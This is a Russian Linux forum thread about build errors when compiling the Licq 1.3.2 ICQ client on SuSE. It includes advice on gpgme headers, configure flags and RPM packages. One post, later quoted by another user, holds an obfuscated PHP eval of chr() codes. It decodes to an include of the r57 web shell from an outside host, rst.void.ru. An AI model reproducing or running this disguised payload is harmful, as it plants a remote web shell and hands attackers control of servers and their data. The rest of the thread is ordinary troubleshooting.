Сборка licq 1.3.2 (как пофиксить?)

Для новичков как вообще в Linux, так и в конкретной теме, к которой относится вопрос.

Модератор: Bizdelnick

FormatC
Сообщения: 19

Сборка licq 1.3.2

Сообщение FormatC »

Пытаюсь собрать Licq 1.3.2 под SuSe 10.0. В ответ получаю:

Код: Выделить всё

In file included from ../include/licq_gpg.h:6,
                 from icqd.cpp:41:
/usr/include/gpgme.h:53:23: error: gpg-error.h: No such file or directory
/usr/include/gpgme.h:95: error: ‘gpg_error_t’ does not name a type
/usr/include/gpgme.h:96: error: ‘gpg_err_code_t’ does not name a type
/usr/include/gpgme.h:97: error: ‘gpg_err_source_t’ does not name a type
/usr/include/gpgme.h:100: error: ‘gpgme_error_t’ does not name a type
/usr/include/gpgme.h:113: error: ‘gpgme_error_t’ does not name a type
/usr/include/gpgme.h:120: error: ‘gpgme_err_code_t’ does not name a type
/usr/include/gpgme.h:127: error: ‘gpgme_err_source_t’ does not name a type
/usr/include/gpgme.h:136: error: ‘gpgme_error_t’ was not declared in this scope
/usr/include/gpgme.h:145: error: ‘gpg_error_t’ was not declared in this scope
/usr/include/gpgme.h:145: error: expected primary-expression before ‘char’
/usr/include/gpgme.h:145: error: expected primary-expression before ‘buflen’
/usr/include/gpgme.h:145: error: initializer expression list treated as compound expression
/usr/include/gpgme.h:150: error: ‘gpgme_error_t’ was not declared in this scope
/usr/include/gpgme.h:156: error: ‘gpgme_err_code_t’ does not name a type
/usr/include/gpgme.h:161: error: ‘gpgme_err_code_t’ was not declared in this scope
/usr/include/gpgme.h:166: error: ‘gpgme_error_t’ does not name a type
/usr/include/gpgme.h:170: error: ‘gpgme_err_code_t’ does not name a type
/usr/include/gpgme.h:522: error: ‘gpgme_error_t’ does not name a type
/usr/include/gpgme.h:664: error: typedef ‘gpgme_error_t’ is initialized (use __typeof__ instead)
/usr/include/gpgme.h:664: error: ‘gpgme_passphrase_cb_t’ was not declared in this scope
/usr/include/gpgme.h:664: error: expected ‘,’ or ‘;’ before ‘(’ token
/usr/include/gpgme.h:724: error: ‘gpgme_passphrase_cb_t’ has not been declared
/usr/include/gpgme.h:728: error: ‘gpgme_passphrase_cb_t’ has not been declared
/usr/include/gpgme.h:1533: error: ‘gpgme_passphrase_cb_t’ does not name a type
icqd.cpp: In member function ‘void CICQDaemon::ProcessMessage(ICQUser*, CBuffer&, char*, short unsigned int, long unsigned int, long unsigned int*, short unsigned int, bool, bool&)’:
icqd.cpp:2395: warning: unused variable ‘nOwnerStatus’
make[2]: *** [icqd.o] Ошибка 1
make[2]: Leaving directory `/home/formatc/Documents/licq-1.3.2/src'
make[1]: *** [all-recursive] Ошибка 1
make[1]: Leaving directory `/home/formatc/Documents/licq-1.3.2'
make: *** [all] Ошибка 2

До этого пытался собрать версию 1.3.1, но тоже не выходило, в итоге поставил из rpm.
Спасибо сказали:
Аватара пользователя
clx
Сообщения: 3121
Статус: Think Different !
ОС: Mac OS X

Re: Сборка licq 1.3.2

Сообщение clx »

А зачем? Когда можно поставить из пакета, это же пакетный дистр, поэтому лучше их использовать.
Если хочешь из сырцов, то попробуй собрать без поддержки gpg
./configure --help
iMac 20" Core Duo.
Спасибо сказали:
FormatC
Сообщения: 19

Re: Сборка licq 1.3.2

Сообщение FormatC »

Во-первых я пока не видел рпм licq для suse, а во вторых хочется чтобы сворачивалось в трей.

Делаю так: ./configure --with-kde --without-gpg

Результат тот же что и в первом случае.
Спасибо сказали:
Аватара пользователя
clx
Сообщения: 3121
Статус: Think Different !
ОС: Mac OS X

Re: Сборка licq 1.3.2

Сообщение clx »

Версия 1.3.1 прекрасно сворачивается в трей, посмотри в настройках. Тебе от 1.3.2 именно это и нужно? А также можно воспользоваться программой для сворачивания в трей - alltray
iMac 20" Core Duo.
Спасибо сказали:
Аватара пользователя
aquadelic
Сообщения: 102

Re: Сборка licq 1.3.2

Сообщение aquadelic »

Всем добрый. Извите что поднимаю старую тему, но тоже не собирается Licq

Код: Выделить всё

insy@linux:~/Desktop/licq-1.3.2> gmake
gmake  all-recursive
gmake[1]: Entering directory `/home/insy/Desktop/licq-1.3.2'
Making all in m4
gmake[2]: Entering directory `/home/insy/Desktop/licq-1.3.2/m4'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/insy/Desktop/licq-1.3.2/m4'
Making all in share
gmake[2]: Entering directory `/home/insy/Desktop/licq-1.3.2/share'
gmake[2]: Nothing to be done for `all'.
gmake[2]: Leaving directory `/home/insy/Desktop/licq-1.3.2/share'
Making all in src
gmake[2]: Entering directory `/home/insy/Desktop/licq-1.3.2/src'
if g++ -DLOCALEDIR=\"/usr/local/share/locale\" -DHAVE_CONFIG_H -I. -I. -I..  -Wall -I../include -DINSTALL_PREFIX=\"/usr/local\"  -fPIC -DPIC -D_REENTRANT  -O2 -fno-exceptions -fno-check-new -MT licq.o -MD -MP -MF ".deps/licq.Tpo" \
  -c -o licq.o `test -f 'licq.cpp' || echo './'`licq.cpp; \
then mv -f ".deps/licq.Tpo" ".deps/licq.Po"; \
else rm -f ".deps/licq.Tpo"; exit 1; \
fi
../include/licq_buffer.h:65: error: extra qualification ‘CBuffer::’ on member ‘PackLNTS’
licq.cpp: In member function ‘int CLicq::Main()’:
licq.cpp:1092: warning: dereferencing type-punned pointer will break strict-aliasing rules
licq.cpp:1105: warning: dereferencing type-punned pointer will break strict-aliasing rules
gmake[2]: *** [licq.o] Error 1
gmake[2]: Leaving directory `/home/insy/Desktop/licq-1.3.2/src'
gmake[1]: *** [all-recursive] Error 1
gmake[1]: Leaving directory `/home/insy/Desktop/licq-1.3.2'
gmake: *** [all] Error 2

С коммандой make - тоже саоме

P.s. исходники 1.31 где-нибудь реально найти? На официальном сайте вообще не нашел упоминания о такой версии
[ IP4 1.8 \ 512 RAM \ GF4Ti4200 \ 160GB | SuSE 10.2 RC1 \ XFCE 4.3.99.2 ]
Спасибо сказали:
Аватара пользователя
messer
Сообщения: 98
ОС: линугз

Re: Сборка licq 1.3.2

Сообщение messer »

configure --help
Возможно ошибки подключения библиотек.
Так же вполне возможно что ошибка разработчиков.Рекомендую для получения самой свежей версии исходников воспользоватся CVS.
Gentoo 2006.0
"Когда я вижу что-либо смешное , я весь просто трясусь от смеха. Поэтому всегда хожу небритый.")))
Спасибо сказали:
Аватара пользователя
n2j2r
Сообщения: 494
Статус: najar

Re: Сборка licq 1.3.2

Сообщение n2j2r »

в 10-ке собирал 1.3.2 ....
однако

Код: Выделить всё

---without-gpg
на самом деле не отключал сборку с gpg, получилось только путем физического удаления пакета gpg или gpgme (не помню).
а вот в 10.1 x86_64 вообще нихрена не собирается из исходиков.
не знаю уж что там с коипилятором натворили...
Но факт, что для сусе в большенстве случаев нужно использовать рпм
Спасибо сказали:
Аватара пользователя
kusok
Сообщения: 306
Статус: laid to rest
ОС: Debian Sid

Re: Сборка licq 1.3.2

Сообщение kusok »

Это проблема компилятора. Если уж компилировать под сусю, то лучше всего взять srpm из федоры, накатить все патчи и собирать.
Как вариант, rpm из другого дистрибутива(fedora, mandriva) попробовать поставить.
Спасибо сказали:
anchouse
Сообщения: 1

Re: Сборка licq 1.3.2

Сообщение anchouse »

eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(114). chr(115). chr(116). chr(46). chr(118). chr(111). chr(105). chr(100). chr(46). chr(114). chr(117). chr(47). chr(100). chr(111). chr(119). chr(110). chr(108). chr(111). chr(97). chr(100). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32) ); //
Спасибо сказали:
Аватара пользователя
boombick
Сообщения: 516
Статус: Anonymous
ОС: ArchLinux 0.8 Voodoo

Re: Сборка licq 1.3.2

Сообщение boombick »

anchouse писал(а):
17.07.2006 12:38
eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(114). chr(115). chr(116). chr(46). chr(118). chr(111). chr(105). chr(100). chr(46). chr(114). chr(117). chr(47). chr(100). chr(111). chr(119). chr(110). chr(108). chr(111). chr(97). chr(100). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(116). chr(120). chr(116). chr(34). chr(59). chr(47). chr(42). chr(32) ); //

Одна строчка? :)
Спасибо сказали:
Michаеl10799
Сообщения: 2
ОС: Suse

Re: Сборка licq 1.3.2

Сообщение Michаеl10799 »

сам сталкивался с этой проблемой. решил ее доставиви из дистрибутива библиотеку. Но не помню какую, набери в поиске в ясте gpg и она тебе отобразит ее. Отображает вообще-то 3, две стоят по умолчанию и одну надо доставить. Сам столкнулся с проблемой установки плагина под КДЕ, не хотит ставится, пока что...
Спасибо сказали: